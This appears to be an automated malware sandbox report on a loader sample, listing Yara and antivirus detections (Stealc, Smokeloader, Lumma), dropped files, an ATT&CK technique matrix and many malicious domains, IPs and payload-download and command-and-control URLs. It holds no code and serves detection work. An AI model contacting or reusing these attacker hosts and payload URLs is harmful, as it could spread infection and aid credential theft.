Source: Yara match	File source: 00000016.00000002.4110757881.0000000002B61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4110412410.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000027.00000002.2633096271.0000000000900000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	2 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	46 System Information Discovery	SMB/Windows Admin Shares	2 Data from Local System	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	513 Process Injection	2 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	5 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	1 Bootkit	1 Scheduled Task/Job	23 Software Packing	LSA Secrets	461 Security Software Discovery	SSH	1 Credential API Hooking	126 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	161 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	513 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Regsvr32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Bootkit	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5Yzloz244r.exe	58%	ReversingLabs	Win32.Trojan.Privateloader
5Yzloz244r.exe	49%	Virustotal		Browse
5Yzloz244r.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Drivers\csrss.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe	88%	ReversingLabs	Win64.Packed.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\syncUpd[1].exe	39%	ReversingLabs	Win32.Trojan.Emotet
C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	51%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Temp\6C7B.exe	87%	ReversingLabs	Win32.Trojan.Pitou
C:\Users\user\AppData\Local\Temp\742D.dll	38%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\7CB9.exe	50%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\98EE.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\BroomSetup.exe	21%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\C33B.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\E059.exe	100%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\FourthX.exe	88%	ReversingLabs	Win64.Packed.Generic
C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	61%	ReversingLabs	Win32.Trojan.Nemesis
C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	39%	ReversingLabs	Win32.Trojan.Emotet
C:\Users\user\AppData\Local\Temp\nsvDF5A.tmp\INetC.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\SDL2.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\avcodec-58.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\avformat-58.dll (copy)	3%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\avutil-56.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-5CUFU.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-B1JQ9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-C6I3E.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DBI1S.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DIG7J.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-FG4H6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-G5H9G.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-IUB5D.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-J7KQC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-JTIBI.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-KGK8A.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-PP7VD.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SBH8F.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SGE0N.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\libbz2-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\libgcc_s_dw2-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\libiconv-2.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\libogg-0.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbis-0.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbisenc-2.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\libwinpthread-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\swresample-3.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\VB Smart Card Viewer\zlib1.dll (copy)	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
trmpc.com	14%	Virustotal	Browse
selebration17io.io	12%	Virustotal	Browse
real.avalmag.com	18%	Virustotal	Browse
emgvod.com	20%	Virustotal	Browse
liabilityarrangemenyit.shop	18%	Virustotal	Browse
sjyey.com	12%	Virustotal	Browse
gemcreedarticulateod.shop	19%	Virustotal	Browse
secretionsuitcasenioise.shop	19%	Virustotal	Browse
claimconcessionrebe.shop	18%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.mi	0%	URL Reputation	safe
http://schemas.mi	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
http://schemas.micr	0%	URL Reputation	safe
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
http://valarioulinity1.net/index.php	15%	Virustotal		Browse
https://secretionsuitcasenioise.shop/	20%	Virustotal		Browse
https://claimconcessionrebe.shop/apiq	100%	Avira URL Cloud	malware
http://bobjbem.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e	0%	Avira URL Cloud	safe
http://5.42.64.33/ping.php?substr=four	19%	Virustotal		Browse
https://secretionsuitcasenioise.shop/	100%	Avira URL Cloud	malware
https://resergvearyinitiani.shop/api	0%	Avira URL Cloud	safe
http://valarioulinity1.net/index.php	0%	Avira URL Cloud	safe
http://5.42.64.33/ping.php?substr=four	100%	Avira URL Cloud	malware
http://real.avalmag.com/data/pdf/may.exe	100%	Avira URL Cloud	malware
http://sjyey.com/tmp/index.php	100%	Avira URL Cloud	malware
http://185.172.128.127/syncUpd.exe	100%	Avira URL Cloud	malware
https://liabilityarrangemenyit.shop/	100%	Avira URL Cloud	malware
http://185.141.63.9/index.php	0%	Avira URL Cloud	safe
http://185.172.128.127/syncUpd.exe	22%	Virustotal		Browse
https://claimconcessionrebe.shop/api	100%	Avira URL Cloud	phishing
https://secretionsuitcasenioise.shop/apil	100%	Avira URL Cloud	malware
http://real.avalmag.com/data/pdf/may.exe	4%	Virustotal		Browse
http://185.172.128.19/288c47bbc1871b439df19ff4df68f0776.exe	100%	Avira URL Cloud	malware
https://liabilityarrangemenyit.shop/	0%	Virustotal		Browse
http://185.172.128.79/15f649199f40275b/mozglue.dll	100%	Avira URL Cloud	malware
https://secretionsuitcasenioise.shop/apin	100%	Avira URL Cloud	malware
https://resergvearyinitiani.shop/api	1%	Virustotal		Browse
http://185.172.128.19/288c47bbc1871b439df19ff4df68f0776.exe	22%	Virustotal		Browse
http://emgvod.com/emd/1.jpg	100%	Avira URL Cloud	malware
http://185.172.128.79/15f649199f40275b/msvcp140.dll	100%	Avira URL Cloud	malware
https://liabilityarrangemenyit.shop/apiE	100%	Avira URL Cloud	malware
https://claimconcessionrebe.shop/api	15%	Virustotal		Browse
https://secretionsuitcasenioise.shop/api	100%	Avira URL Cloud	malware
http://emgvod.com/emd/1.jpg	16%	Virustotal		Browse
http://185.172.128.79/15f649199f40275b/msvcp140.dll	16%	Virustotal		Browse
http://92.53.64.209:27282/api/v1/checker/ping	0%	Avira URL Cloud	safe
https://liabilityarrangemenyit.shop/api	100%	Avira URL Cloud	malware
http://buriatiarutuhuob.net/index.php	0%	Avira URL Cloud	safe
https://secretionsuitcasenioise.shop/api	14%	Virustotal		Browse
http://www.chilkatsoft.comN	0%	Avira URL Cloud	safe
http://185.141.63.9/index.php	0%	Virustotal		Browse
http://92.53.64.209:27282/api/v1/checker/ping	2%	Virustotal		Browse
http://185.172.128.79/15f649199f40275b/softokn3.dll	100%	Avira URL Cloud	malware
http://185.172.128.79/15f649199f40275b/mozglue.dll	16%	Virustotal		Browse
https://gemcreedarticulateod.shop/api	100%	Avira URL Cloud	phishing
http://sjyey.com/tmp/index.php	18%	Virustotal		Browse
https://liabilityarrangemenyit.shop/api	14%	Virustotal		Browse
http://buriatiarutuhuob.net/index.php	15%	Virustotal		Browse
http://185.172.128.79/15f649199f40275b/freebl3.dll	100%	Avira URL Cloud	malware
http://185.172.128.79/15f649199f40275b/vcruntime140.dll	100%	Avira URL Cloud	malware
https://resergvearyinitiani.shop/	0%	Avira URL Cloud	safe
http://185.172.128.79/15f649199f40275b/softokn3.dll	16%	Virustotal		Browse
http://185.172.128.79/3cd2b41cbde8fc9c.php	100%	Avira URL Cloud	malware
https://gemcreedarticulateod.shop/api	0%	Virustotal		Browse
https://liabilityarrangemenyit.shop/api-	100%	Avira URL Cloud	malware
http://185.172.128.79/15f649199f40275b/sqlite3.dll	100%	Avira URL Cloud	malware
http://185.172.128.79/15f649199f40275b/freebl3.dll	16%	Virustotal		Browse
http://185.172.128.90/cpa/ping.php?substr=four&s=ab	100%	Avira URL Cloud	malware
http://bobjbem.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33	0%	Avira URL Cloud	safe
https://liabilityarrangemenyit.shop/f	100%	Avira URL Cloud	malware
http://185.172.128.79/15f649199f40275b/vcruntime140.dll	16%	Virustotal		Browse
https://liabilityarrangemenyit.shop:443/api	100%	Avira URL Cloud	malware
https://resergvearyinitiani.shop/apiS	0%	Avira URL Cloud	safe
https://sabotage.net	0%	Avira URL Cloud	safe
http://cassiosssionunu.me/index.php	0%	Avira URL Cloud	safe
http://selebration17io.io/index.php	0%	Avira URL Cloud	safe
http://185.172.128.79/15f649199f40275b/nss3.dll	100%	Avira URL Cloud	malware
http://trmpc.com/check/index.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
resergvearyinitiani.shop	104.21.94.2	true	true		unknown
trmpc.com	190.224.203.37	true	true	14%, Virustotal, Browse	unknown
mmtplonline.com	103.20.213.70	true	false		high
api.steampowered.com	23.4.32.216	true	false		high
selebration17io.io	91.215.85.120	true	true	12%, Virustotal, Browse	unknown
real.avalmag.com	104.21.67.46	true	true	18%, Virustotal, Browse	unknown
emgvod.com	138.36.3.134	true	true	20%, Virustotal, Browse	unknown
sjyey.com	186.147.159.149	true	true	12%, Virustotal, Browse	unknown
www.mvideo.ru	185.71.67.88	true	false		high
bobjbem.com	185.196.8.22	true	false		unknown
youtube-ui.l.google.com	142.251.15.93	true	false		high
liabilityarrangemenyit.shop	104.21.83.220	true	true	18%, Virustotal, Browse	unknown
secretionsuitcasenioise.shop	172.67.213.168	true	true	19%, Virustotal, Browse	unknown
gemcreedarticulateod.shop	104.21.80.171	true	true	19%, Virustotal, Browse	unknown
imap.cogeco.ca	193.122.131.100	true	false		high
claimconcessionrebe.shop	104.21.58.31	true	true	18%, Virustotal, Browse	unknown
www.vseinstrumenti.ru	unknown	unknown	false		high
www.youtube.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://valarioulinity1.net/index.php	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://bobjbem.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e	false	Avira URL Cloud: safe	unknown
http://5.42.64.33/ping.php?substr=four	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://resergvearyinitiani.shop/api	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://real.avalmag.com/data/pdf/may.exe	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.127/syncUpd.exe	false	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://sjyey.com/tmp/index.php	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.141.63.9/index.php	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://claimconcessionrebe.shop/api	false	15%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.172.128.19/288c47bbc1871b439df19ff4df68f0776.exe	true	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.79/15f649199f40275b/mozglue.dll	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://emgvod.com/emd/1.jpg	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.79/15f649199f40275b/msvcp140.dll	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://secretionsuitcasenioise.shop/api	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://92.53.64.209:27282/api/v1/checker/ping	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://liabilityarrangemenyit.shop/api	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://buriatiarutuhuob.net/index.php	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.79/15f649199f40275b/softokn3.dll	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://gemcreedarticulateod.shop/api	false	0%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.172.128.79/15f649199f40275b/freebl3.dll	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.79/15f649199f40275b/vcruntime140.dll	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://mmtplonline.com/photo/1.jpg	false		high
http://185.172.128.79/3cd2b41cbde8fc9c.php	false	Avira URL Cloud: malware	unknown
http://185.172.128.79/15f649199f40275b/sqlite3.dll	false	Avira URL Cloud: malware	unknown
http://185.172.128.90/cpa/ping.php?substr=four&s=ab	false	Avira URL Cloud: malware	unknown
http://bobjbem.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33	false	Avira URL Cloud: safe	unknown
http://cassiosssionunu.me/index.php	true	Avira URL Cloud: safe	unknown
http://selebration17io.io/index.php	true	Avira URL Cloud: safe	unknown
http://185.172.128.79/15f649199f40275b/nss3.dll	false	Avira URL Cloud: malware	unknown
http://trmpc.com/check/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.mi	explorer.exe, 00000001.00000000.1687147776.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://secretionsuitcasenioise.shop/	7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://claimconcessionrebe.shop/apiq	7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://powerpoint.office.comcember	explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1686512188.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.com	explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000001.00000000.1685847980.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1685373152.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1687353249.0000000009B60000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://liabilityarrangemenyit.shop/	7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 00000001.00000000.1686512188.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://secretionsuitcasenioise.shop/apil	7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213925428.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1689520118.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://secretionsuitcasenioise.shop/apin	7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://liabilityarrangemenyit.shop/apiE	7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213925428.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.chilkatsoft.comN	7CB9.exe, 0000000D.00000002.2211727956.00000000009C8000.00000002.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1689520118.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://resergvearyinitiani.shop/	7CB9.exe, 0000000D.00000002.2212946235.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
